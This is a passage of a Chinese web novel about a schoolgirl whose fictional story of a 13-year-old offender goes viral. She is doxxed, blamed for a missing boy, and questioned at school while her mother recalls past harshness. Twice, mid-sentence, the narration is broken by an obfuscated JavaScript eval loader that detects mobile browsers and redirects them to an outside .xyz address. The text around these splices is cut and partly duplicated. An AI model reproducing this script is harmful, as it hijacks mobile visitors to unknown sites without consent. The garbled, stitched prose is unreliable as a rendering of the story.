而与此同时,她那篇以十三岁少年犯为主的小说也被人从问答社区搬到短视频平台,配合着各种割肥皂,抠耳朵的视频,有博主声情并茂地讲述了那篇故事,把“姑姑”“游戏机”“弟弟”这些关键词配上剪辑视频,一条三分钟的解说视频冲上热榜第三。 但没人标注这是一篇虚构小说。 弹幕里全是: “变态。” “这种孩子应该判死刑。” “是不是精神病?” 还有人留言:“她不是已经被放出来了吗?现在在重点高中读书呢,准备考大学呢!” “你确定她在读书?那我们孩子还怎么活啊?” “能不能把她的名字公布出来?” 就在所有人都盯着那个故事的时候,另一个消息悄悄冒出来。 南余市,一个奶奶带大的男孩,在一次家庭纠纷中失踪了。孩子今年十三岁,照片上眉眼清秀,头发有些乱,眼神很淡。他的奶奶说,他最近老是一个人拿着纸笔写东西,写得密密麻麻,一直藏着不给看。 男孩失踪前一天,在网上搜索过的关键词有: “怎样才能不上学”“杀人后会不会后悔” 有人挖出那孩子的社交号,关注列表中,赫然有“十六岁一枝笔”。是的,就是那个发小说的ID,评论瞬间崩了。 “她是不是在引导青少年杀人?” “她是不是和这个案子有关?” “有没有人报警?” 即使没有证据,也没有联系,谁都认定了,是她那篇小说“教坏了”那个孩子。 那天夜里,陈瑶手机不停震动,她和吴倩瑜一样删了APP,却阻止不了截图在社交平台上流传。 她甚至收到了一个陌生号码发来的短信,陈瑶知道自己被开盒了—— “你怎么还不出来解释?你以为你是作者,其实你才是原型吧?” 短信下面,是那条评论截图:“她小时候就想杀人,只不过一直没动手,现在终于借了别人手。” 第二天早晨,她去学校,阳光透过教室窗户落在课桌上,粉笔尘漂浮在空气中,讲台上的老师说:“下周模拟考,希望大家状态保持住。” 她默默把数学卷子摊开,右手握笔,手心却出了汗。 她感到了一种熟悉的沉默。 是小时候,在亲戚家吃饭时,所有人都不看她,却在她一离开就开始议论她。 是中学时,老师点名批评“单亲家庭的孩子最难教”,底下同学看她一眼,然后躲开。 是现在,全网在说她,却没有一个人来问她: 你,到底想说什么? 她低下头,继续做题。 那张数学卷上,最后一道大题是: 设函数 f(x) = x^2 - 4x + k,若 f(x) \geq 0 恒成立,求 k 的取值范围。 她的笔尖悬在“k”的位置。 她忽然想: 这个世界,总是想算出一个确定的答案。 可有些事,根本没有一个确定的“k”。 …… 永安一中,每一个年级都有好几个班,高一最好的班级和高三在一起。考试结束陈瑶去往卫生间的路上,她看到一个高三的学姐坐在窗户边上,桌子上堆满了书,半人高,盖住了人存在的地方,在这个封闭式的学校里,高三的学生基本都是住校的,争分夺秒的学习是必然的。 陈瑶不知道自己到高三的时候,会不会这样努力,但毫不隐瞒地说,她感受到自己发的东西带来的影响了。 一中非常卷,大多数时间大家都沉浸在书本里,但她总觉得走路上的时候,有一些指指点点的声音或者视线,只是等她看过去,对方注意力并不在她身上。 猜测,猜测自己离开后这群人是不是在背着她讨论什么。 陈瑶的心摇摆不定,她有些恍惚。 “陈瑶,这个号真的是你发的吗?”发小拿着手机就把人堵在厕所,脸上的担忧不作假,说话的声音也小声的很,生怕被人听到。 “不知道。” 陈瑶不想回答这个问题。 她站在那里,洗手池的水不停的根据着感应在她手上冲刷着。 阳光透过窗户落在地上,耳边还是朋友喋喋不休的询问和担忧说:“不是你写的,他们这样乱发你的信息就肯定是不行的,你得去报警,让警察去抓他们。” 她默默把手收回来,手心全是水,没有纸。 原本校园卫生间挂着的纸巾都用完了,让这时候的她觉得空缺。 就像这些人顺着网线一定要评价她的行为,让她感受到一种失语困境的前兆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495973|170187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又是一种熟悉的沉默。 但很快,这种熟悉的沉默又会席卷而来。 …… 回到教室,陈瑶坐在座位上,窗外的风吹着草木,吹着树木,吹着她的头发。天气好,阳光亮透过百叶窗斜斜打进来,一束一束地落在书桌上,像裁切好的纸面剧本,一格格铺开。 有两三个女生偷偷靠在后排一部手机前,小心翼翼地缩着脖子。 “就是她吧?” “你看这张图,侧脸、短发,还有手写的字,这跟陈瑶写黑板时一模一样。” “我听说她在一个论坛发过东西,讨论校园暴力和家庭暴力,还写了个十三岁少年命案的小说大纲,不得了,年纪轻轻想当作家了。” “那具体还说什么了?” “说自己小时候被老师误解,还说……” 她们话没说完,一个男生小声插嘴:“真的假的?如果是她,那她写得也太猛了。你看这一段——” 他压低声音念: “‘有些老师不是听不见学生的话,而是不屑听完。’” 几人倒吸一口气,互相看了一眼。 “说不定是哪个班的事,她自己带情绪了。” “可她写得这么像真的,她是不是想搞事?” 门口突然传来脚步声。 是一位语文老师,何昭真,年轻,带着点不动声色的威严,她淡淡开口:“在讨论什么?” 几个学生明显一惊,手机一下藏进袖子。 “没……没什么,就是看点题海。” “是啊老师,我们在背诵那个必修课文,啥来着……” “《再别康桥》。”有女生随口道。 “再别‘说谎’吧。”老师不冷不热地说。 几个学生脸红了,慌张地溜开,老师站在原地,目光落向靠窗那排,陈瑶正低头在草稿纸上推函数式。 她安静得像一座风化雕像,线条清楚,神情平整,老师犹豫了一秒,走过去,轻声道:“陈瑶,有人欺负你吗?” 陈瑶抬起头,眼神干净,但带着一瞬间的“屏蔽感”。 “没有。” “是不是有人在造谣?” “不是。” “如果有问题,可以跟我讲。” “谢谢您。”她依旧很平静。 何老师顿了顿,没再追问,只是轻轻点头,准备转身离开,她走回办公室,刚坐下不久,隔壁政治老师走过来敲桌。 “喂,你看这个。” 对方手机屏幕亮着,一个论坛贴图,匿名用户发布了带着图的内容,讨论的就是那个小说的事情,但现在人说的多了,虚构小说也被当作真实了,话题讨论起来,底下评论数过万。 她看了一眼屏幕。图片模糊,但剪影熟悉。 “你觉得……是她吗?” “你班那个陈瑶?” “她安静得很,不像是会做这种事的孩子。”她下意识说道。 “可你别忘了,有时候最沉默的孩子,藏的话最多。” 何昭真犹豫片刻,还是起身回教室,那节是数学课结束的课间,陈瑶刚合上练习本,仿佛没事人一样站起来。 何昭真走过去,半蹲下与她平视,放缓声音。 “陈瑶,你最近是不是……在网上写了什么?” 她没有立刻回答,只看着何昭真,眼神一如既往冷静,声音轻得几乎要被风吹散: “我写了一个小说大纲,但我没有说是真的,可是没人听,都把虚假当作真的,我想让大家听见,但好像大家总是偏听偏信。” 何昭真一时说不出话,陈瑶低头,继续做题。 屋里沉默。 7. 第四章 妈妈看到的故事 陈瑶的妈妈,宋巧燕,今年四十岁,以前是在学校门口卖包子,后来不景气,现在做清洁工,凌晨四点半起床,做的是学校后街的保洁工作。 她早上在学校后街扫地,一边低头收拾塑料瓶,一边把口罩往上拉了拉。 风大,冷,眼睛涩。 她总是说自己不上网、不玩手机,就还是用着屏幕不怎么好使的手机,扔在口袋里,多没有时间拿出来。 可那天一早,她刚扫完一车落叶,就接到了学校的电话。 手机在口袋里震了三次,她一开始没接,直到打第四通。 “喂?” “宋女士,您好,请问您是陈瑶的母亲吗?” 对方语气很客气,说是派出所社区警务室的,有个网络事件牵涉到她女儿,需要了解一点情况,请她去学校教务室一趟。 宋巧燕一愣,刚想说自己女儿是个老实孩子,不会犯事,但那人继续说: “我们不是调查她的错误,只是例行了解情况。您知道她最近写的那篇小说吗?” 宋巧燕当然知道。 前几天陈瑶晚饭没吃,坐在书桌前一动不动,说是在想一个孩子的结局。 她说:“妈,你说一个十二岁或者十三岁的小孩如果真的杀了人,是不是说明他已经输到没办法了?是不是他有一些很难理解的困难?他找不到方法求助?或者是被长期吓到忘记了求助?” 宋巧燕没当回事,但想起女儿小时候的事情,当时回了一句:“你想这些干嘛?写作文写疯了?” 但其实她看得出,女儿真的把这事放在心上了。 她走不出来,小时候的事情。 她或者是感同身受,但她不是坏孩子。 看到有人在街头卖艺会站很久,有一年冬天还偷偷把自己新棉鞋送给了流浪汉。 那时候,宋巧燕做了什么? 因为钱,打了陈瑶一顿,即便宋巧燕明明白白知道她不是个坏孩子,她只是太敏感,太会代入。 可能是希望她立刻到学校? 很快,学校的电话也打来了,电话那头,是政教主任的声音,平静得像空气,“宋女士,方便来学校一趟吗?关于你女儿陈瑶,我们需要沟通一些近期的网络舆情问题。” 她顿了一下。 “她在学校怎么了?” “她本人没有违反校规,但……事情影响比较大,我们希望您能配合一下。” 宋巧燕挂了电话,心里已经有点发紧。 她知道陈瑶最近在网上发了个小说。 但她不知道引起了很多讨论,她也没想到学校会找她。 电话挂断后,宋巧燕刷了一下手机。 她连忙打开手机,进了那个热搜词条—— #十三岁男孩小江失踪前关注“弑亲小说”账号# 点进去,是剪辑视频、案件简述、网民挖掘、还有无数评论。 “疑似网络小说引发模仿杀人”“青少年是否该接触暴力内容?” 她点进去,几秒后看见了一张模糊不清的图。 是那篇小说的第一段,配图,是陈瑶的学校大门口。 评论里有人在刷:“那个作者就在这个学校。” 她一眼就看到,有人把陈瑶的学校门口照片放上去了,看见了一张模糊不清的图。还有一句话: “那个作者就在这个学校,准备高考。” 宋巧燕只觉得浑身发冷,她手开始抖了。 她连忙点开微信,给女儿发消息。 【你在哪?在教室吗?不要乱跑,妈等会来接你。】 过了十分钟,陈瑶才回了一句。 【我在学校,没事,别担心。】 她没有说自己中午没吃饭,也没说今天有个隔壁班的同学在她背后喊了一句“杀人犯”。 她只是盯着窗外的光,一句话都不想说。 宋巧燕赶到学校时,政教处的门是虚掩着的。 里面坐着三个人:一位副校长,一个教务主任,还有一位她不认识的穿便装的年轻男人,说是属地派出所协助调查的辅警。 宋巧燕刚一进门,校方就开始了“安抚式沟通”:“我们理解陈瑶同学的创作自由,也尊重她作为学生的表达权,但这次事件在网上引起了不小的讨论,已经有媒体打电话过来问情况了。” 教务主任翻着文件:“她用的网络ID、写作内容、过往论坛问答记录都被截图广泛传播。虽然不能证明是她本人教唆他人犯罪,但已经有网友把她列入‘潜在引导对象’。” 年轻辅警补充说:“我们这边接到举报,虽然没有证据表明陈瑶违法,但按照流程,需要她配合提供一些基本情况。” “配合的方式是?”宋巧燕皱起眉。 “做一个简单笔录,不留案底,只是例行了解。”对方说得温和。 校方忙接话:“如果家长配合得好,我们学校这边也能最大程度地‘内部处理’——毕竟高考临近了,我们也不想再给孩子压力。” 宋巧燕听着这番话,心里却不舒服。 配合?笔录?内部处理?像在说她女儿犯了什么错一样。 她忍不住问:“她写的那篇小说,是假的啊,又不是她让那个孩子失踪的。” “理解、理解,”副校长赶紧说,“可现在外界不理解啊,宋女士,我们也有压力。” 宋巧燕捏着手机,屏幕闪闪烁烁。 能看到停在一堆评论,其中一条:“你帮我说话了,但我已经来不及了。” 宋巧燕知道,这件事已经超出了她能护住的范围。 …… 与此同时,陈瑶正在教室上自习。 窗外阳光透着微尘,语文老师何昭真在讲台上念作文点评。 陈瑶没有在听,只是低头画着草图。 那张草图,是她小说里男孩住的老房子:红砖墙、铁皮屋顶、半堵坍塌的后院围墙。 旁边,同桌小声问她:“你家长被叫来了?” 陈瑶点点头。 “政教处都炸了,好像派出所也来人了。昨天新闻里,那热搜里说的孩子的账号,真的是你粉丝?” “我不知道。”她声音淡。 “你没想过删掉那个小说?” “我为什么要删?”她抬起头,陈瑶这样回答着,但其实她早就删掉了那条话题。 “因为——大家都在怪你。” 陈瑶笑了笑:“我从小就知道,很多时候,就算不是你干的事,也会有人怪你。” 同桌低下头,不敢再说。 …… 中午,宋巧燕去找女儿。 陈瑶看见母亲一身清洁制服,站在教学楼门口,拎着饭盒,神情疲惫。 “妈,你怎么来了?” “送饭。” “不是说过了吗?我不饿。” “你吃一点。”她声音低,“我跟你班主任说了,他们……还没定性,但希望你这段时间低调一点。” “定什么性?” 宋巧燕不敢看她:“他们说,你可能写得太像了,像是写了谁的影子。” 陈瑶沉默了半天,只说:“我写的是‘那种人’,不是‘那个人’。” 宋巧燕鼻子一酸:“瑶瑶,你是不是怪我小时候没保护好你?” 宋巧燕忘不了自己的孩子经历过什么,那些充斥在小说里的事情,很多人都对陈瑶说过。 宋巧燕那时候无心应对这些,她也要处理家庭里的很多事情,她只会教孩子忍着,接受,思考一下是不是自己做错了。她信奉挫折教育,让孩子在家庭里就能承受着一切的压力,不至于未来走向社会后看不清社会。 那时候,宋巧燕不知道,社会暴力,家庭暴力,校园暴力,都是暴力。 她只觉得忍忍就好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495974|170187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋巧燕现在的哭,陈瑶只是听着,她没有特别多的感动的情绪,但还是稍微安心一些。就算这样,陈瑶还是没回答,只是接过饭盒,说:“我不怪你。” 她知道,学校和警方还没动手,但已经把她按在了放大镜底下。 她只是写了一个小说。 可现在,每一个人都像在等她出错,好让“小说成真”,好结束这个事情,有源头有结尾。 …… 晚上回家时,宋巧燕正在厨房切菜,电视机开着,新闻频道正在报道未成年人心理健康话题。 “——青少年如何正确看待文学作品与暴力描写?某地‘小说模仿案’引发热议。” 屏幕上,念出了她女儿那篇小说的名字。 她手里的刀顿了一下。 陈瑶坐在客厅,低头用筷子夹饭,装作没听见。 “瑶瑶,你最近在网上写的那个小说,是不是你自己经历的?”宋巧燕小心问,她还有想问的,但是宋巧燕连下一个问题都不敢完全去说出来。 “不是。”陈瑶回答很快,“那是一个新闻改编的。” “你别骗我。” “我没有。”她盯着碗里的饭,“我没杀人,我也不想杀人。” “我不是说你杀人,我是怕……别人会说你。” 宋巧燕说到这,语气有些哽咽。 “你知道现在大家都在网上说什么吗?说你影响了别人,说你是共犯,说你小时候被虐待所以‘心理扭曲’。” 陈瑶没说话。 她知道,那不是她第一次被这样说。 小时候寄宿在亲戚家时,她表姐就在后门跟别的孩子说:“我弟弟房间里的笔就是被她偷的。” 她当时七岁,从来没见过什么奇怪的笔。 但没人听她解释。 “你真的非要写这种故事吗?”宋巧燕擦了擦手,“你成绩这么好,现在好好学习,准备高考,别管这些事了。” “我不是管,我只是想……有人能认真看。” “他们不会看。” 别说他们,宋巧燕自己都害怕去看。 她怕自己的女儿是疯了,也怕女儿说的是实话。 宋巧燕说完,叹了一口气,回头看到陈瑶嘴角发白,像是咬了自己一口。 她不知道,陈瑶今晚也收到了新的私信。 陌生号码,头像是个孩子的剪影,消息只有一行:“你帮我说话了,但我已经来不及了。” 陈瑶点进去看那人主页,只看见三条动态,全是锁屏状态。 最后一条时间,是昨天深夜—— “如果我真的消失了,应该没人会找我。” 她突然想起小说里小男孩最后说的,想要尊重,只是想赢一次。 她闭上眼,胸口剧烈起伏。 这一晚,她做了一个梦。 梦里有一间教室,空荡荡,讲台上站着她小时候的班主任,正笑着点名。 “下一个——陈瑶。” 她站起来,嘴唇动了动,却发不出声音。 周围全是别人的眼睛,每一双都在说:“你是不是那个想杀人的小孩?” 很快,宋巧燕接到电话。 是那名失踪男孩的奶奶打来的。 对方声音颤抖:“我看到网上有人说,是你女儿写的小说,影响了我孙子。” “我不是要怪你女儿……可你知道一个老人失去孙子,是什么感觉吗?” “他没爸爸没妈妈,我就他一个亲人了。” 宋巧燕听着电话那头的哭声,喉咙发紧。 她想说“我们也很难过”,但最终什么都说不出口。 她只是看着墙上陈瑶小时候的照片——那时她七岁,刚转学,穿着太大的校服,站在操场边,眼神警惕得像一只冻僵的小猫。 冻僵的小猫到处都有,只是猫长大了,可这个世界,好像不打算给予完全的温暖。